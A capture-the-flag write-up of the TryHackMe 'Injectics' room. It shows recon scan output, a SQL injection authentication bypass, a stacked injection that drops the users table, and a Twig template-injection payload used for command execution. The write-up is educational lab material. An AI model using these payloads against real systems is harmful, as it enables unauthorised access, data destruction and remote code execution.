Difficulty: medium
Port Scan #
# Nmap 7.98 scan initiated Tue Jan 27 00:06:36 2026 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,80 -4 -sC -sV -A -oN scan.txt 10.81.171.242
Nmap scan report for 10.81.171.242
Host is up, received timestamp-reply ttl 62 (0.11s latency).
Scanned at 2026-01-27 00:06:37 EST for 24s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Injectics Leaderboard
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kerne
# Nmap done at Tue Jan 27 00:07:01 2026 -- 1 IP address (1 host up) scanned in 25.05 secondsNuclei Scan #
nuclei -target http://10.81.171.242 -fr
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.6.2
projectdiscovery.io
[INF] Current nuclei version: v3.6.2 (latest)
[INF] Current nuclei-templates version: v10.3.8 (latest)
[INF] New templates added in latest release: 457
[INF] Templates loaded for current scan: 9630
[WRN] Loading 2 unsigned templates for scan. Use with caution.
[INF] Executing 9628 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 2207 (Reduced 2085 Requests)
[INF] Using Interactsh Server: oast.live
[phpmyadmin-panel] [http] [info] http://10.81.171.242/phpmyadmin/ ["4.9.5deb2"] [paths="/phpmyadmin/"]
[cookies-without-httponly] [javascript] [info] 10.81.171.242 ["PHPSESSID"]
[cookies-without-secure] [javascript] [info] 10.81.171.242 ["PHPSESSID"]
[waf-detect:apachegeneric] [http] [info] http://10.81.171.242
[ssh-auth-methods] [javascript] [info] 10.81.171.242:22 ["["publickey"]"]
[ssh-sha1-hmac-algo] [javascript] [info] 10.81.171.242:22
[ssh-server-enumeration] [javascript] [info] 10.81.171.242:22 ["SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11"]
[openssh-detect] [tcp] [info] 10.81.171.242:22 ["SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11"]
[old-copyright] [http] [info] http://10.81.171.242 ["© 2024"]
apache-detect] [http] [info] http://10.81.171.242 ["Apache/2.4.41 (Ubuntu)"]
[php-detect] [http] [info] http://10.81.171.242
[missing-cookie-samesite-strict] [http] [info] http://10.81.171.242 ["PHPSESSID=o68s6tf1uphtfbeom09t49b7n1; path=/"]
[tech-detect:php] [http] [info] http://10.81.171.242
[tech-detect:bootstrap] [http] [info] http://10.81.171.242
[INF] Scan completed in 2m. 26 matches found.Notable Findings:
- Exposed
/phpmyadminendpoint - PHP application
FFuF Directory Fuzz #
Notable findings: phpmyadmin endpoint
ffuf -u http://10.81.171.242/FUZZ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.81.171.242/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
flags [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 118ms]
css [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 100ms]
js [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 122ms]
javascript [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 119ms]
vendor [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 115ms]
phpmyadmin [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 118ms]
:: Progress: [220559/220559] :: Job [1/1] :: 315 req/sec :: Duration: [0:11:33] :: Errors: 0 ::Key Findings:
/phpmyadmin(301)/flags(403)/vendor
The exposed phpMyAdmin panel immediately stood out as a high-value target.
Phpmyadmin #
Navigating to /phpmyadmin revealed a publicly accessible admin panel.

Attempting to authenticate with default credentials resulted in a verbose error message, which disclosed MySQL information.

Shortly after this, the TryHackMe instance was reset and issued a new IP address: 10.82.178.35
At this stage, no viable SQL injection was found on phpMyAdmin, so further manual inspection of the web application was required.
Web App Analysis #
Login.php #
The main application includes a login form accessible at /login.php.

Testing basic input validation revealed keyword based filtering.

However, URL-encoding the quote (%27) bypassed this filter entirely.

Logic Flaws #
Functions.php #
Intercepting a login request revealed that authentication attempts are sent via a POST request to functions.php with the following parameters:
usernamepasswordfunction
This was noteworthy because the UI explicitly requests an email address, yet the backend processes a username field, this is some pretty inconsistent validation logic.

adminLogin007.php #
pressing the login as admin button leads us to adminLogin007.php

Unlike the login.php login flow, this endpoint submits credentials directly rather than through functions.php.

this suggests separate authentication paths with the possibility of having different security controls.
SQL Injection: Authentication Bypass #
After testing for a little, my manual SQL injection attempts against functions.php were unsuccessful. So, at this point, I switched to trying intruder with an authentication bypass wordlist from PayloadsAllTheThings:

One payload successfully bypassed authentication.

After replaying the successful request in the browser, I gained access to a developer leaderboard panel.

Pressing the edit button we see we can edit the entries

Taking a step back #
From here, I was stuck. While I had developer access, there was no obvious path to escalate privileges.
I Re Evaluated my situation, I had auth bypass to a dev panel via SQLI, where I can update collums leader boards. But there was no obvious path to escalate privileges. Being stuck I ended up reading a writeup where I saw someone use Dirsearch to search for directories with common extensions, this reminded me the importance of enumeration.
This hint was all i needed to push me forward.
Extended Enumeration with Dirsearch #
I reran directory enumeration using dirsearch with default extensions enabled:
dirsearch -u http://10.82.178.35
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/parallels/targets/injectics/reports/http_10.82.178.35/_26-01-27_13-57-08.txt
Target: http://10.82.178.35/
[13:57:08] Starting:
[13:57:10] 301 - 309B - /js -> http://10.82.178.35/js/
[13:57:14] 403 - 277B - /.ht_wsr.txt
[13:57:15] 403 - 277B - /.htaccess_orig
[13:57:15] 403 - 277B - /.htaccess.sample
[13:57:15] 403 - 277B - /.htaccess_extra
[13:57:15] 403 - 277B - /.htaccess.bak1
[13:57:15] 403 - 277B - /.htaccess.orig
[13:57:15] 403 - 277B - /.htaccess.save
[13:57:15] 403 - 277B - /.htaccessOLD
[13:57:15] 403 - 277B - /.htaccess_sc
[13:57:15] 403 - 277B - /.htaccessBAK
[13:57:15] 403 - 277B - /.htaccessOLD2
[13:57:15] 403 - 277B - /.htm
[13:57:15] 403 - 277B - /.html
[13:57:15] 403 - 277B - /.htpasswd_test
[13:57:15] 403 - 277B - /.htpasswds
[13:57:15] 403 - 277B - /.httr-oauth
[13:57:16] 403 - 277B - /.php
[13:57:37] 200 - 48B - /composer.json
[13:57:37] 200 - 9KB - /composer.lock
[13:57:38] 301 - 310B - /css -> http://10.82.178.35/css/
[13:57:39] 302 - 0B - /dashboard.php -> dashboard.php
[13:57:43] 301 - 312B - /flags -> http://10.82.178.35/flags/
[13:57:47] 301 - 317B - /javascript -> http://10.82.178.35/javascript/
[13:57:48] 403 - 277B - /js/
[13:57:49] 200 - 1KB - /login.php
[13:57:50] 302 - 0B - /logout.php -> index.php
[13:57:50] 200 - 1KB - /mail.log
[13:57:56] 301 - 317B - /phpmyadmin -> http://10.82.178.35/phpmyadmin/
[13:57:57] 200 - 3KB - /phpmyadmin/
[13:57:57] 200 - 3KB - /phpmyadmin/doc/html/index.html
[13:57:57] 200 - 3KB - /phpmyadmin/index.php
[13:58:01] 403 - 277B - /server-status
[13:58:01] 403 - 277B - /server-status/
[13:58:08] 403 - 277B - /vendor/
[13:58:08] 200 - 0B - /vendor/composer/autoload_real.php
[13:58:08] 200 - 0B - /vendor/composer/autoload_static.php
[13:58:08] 200 - 0B - /vendor/composer/autoload_files.php
[13:58:08] 200 - 0B - /vendor/composer/autoload_classmap.php
[13:58:08] 200 - 0B - /vendor/autoload.php
[13:58:08] 200 - 0B - /vendor/composer/autoload_namespaces.php
[13:58:08] 200 - 0B - /vendor/composer/autoload_psr4.php
[13:58:08] 200 - 0B - /vendor/composer/ClassLoader.php
[13:58:08] 200 - 1KB - /vendor/composer/LICENSE
[13:58:08] 200 - 12KB - /vendor/composer/installed.json
Task CompletedThis scan uncovered significantly more endpoints than my lazy FFUF scan, largely because Dirsearch appends file extensions by default.
Critical Discoveries:
/composer.json/mail.log/dashboard.php/flags/
This reinforced the importance of using multiple enumeration tools with different defaults.
Inspecting composer.json revealed the template engine version.

Research confirmed that this version is vulnerable to Server-Side Template Injection (SSTI).

mail.log: The missing piece #
The /mail.log file contained critical information.

It revealed that whenever the users table gets dropped, a background process automatically recreates the table with default credentials.
so lets drop it.
SQL Injection to Reset Users #
Using developer access, I intercepted a leaderboard update request and tested a simple SQL injection payload.
- Single quote
'select * --caused backend errors

- Semicolon
;select * --executed without issue

This suggested injectable SQL context.
I injected the querey ;DROP TABLE users — to drop the users table, triggering the automated reset mechanism.
After another TryHackMe instance reset, the application regenerated default admin credentials as described in mail.log.

We also see this message on the leaderboard page

Logging in with the recovered admin credentials succeeded.

Exploiting SSTI for RCE #
Now that we are admin, we remember back to the ssti vulnerability. Lets find an area we can abuse it.
navigating to profile as admin user we can update the name, last name and email. since we get a welcome message saying welcome admin! I changed the name to asd to see if it would render.

Which it does

We already know ssti exists in this app from the version finding earlier, Lets reinforce that by testing manually. By setting {{4*4}} as our name.

Confirmed SSTI, as the output evaluated to 16 .

Achieving Command execution #
we need command execution to print the flag.
after testing various versions from payloadsallthethings
we find this payload
{{['id',1]|sort('system')|join}}we try it

We see nothing from system, just accepts name id1 as a name.

so we change from system to passthru, which i found out is a widely used function in twig for rce payloads via:
github.[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/PHP.md#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/PHP.md#twig)
This provided arbitrary command execution on the server.

Now we can list flags

here it is!

now lets read it

we have the flag! machine complete!

Key Takeaways #
- Enumeration is key, ill definitely never forget to fuzz for extensions again.
- Log files are often overlooked but can be critical
- Chaining low-medium impact issues can lead to full compromise
This room was a good demonstration of how logic flaws, misconfigurations, and weak input handling can be chained together to help us reach our goal.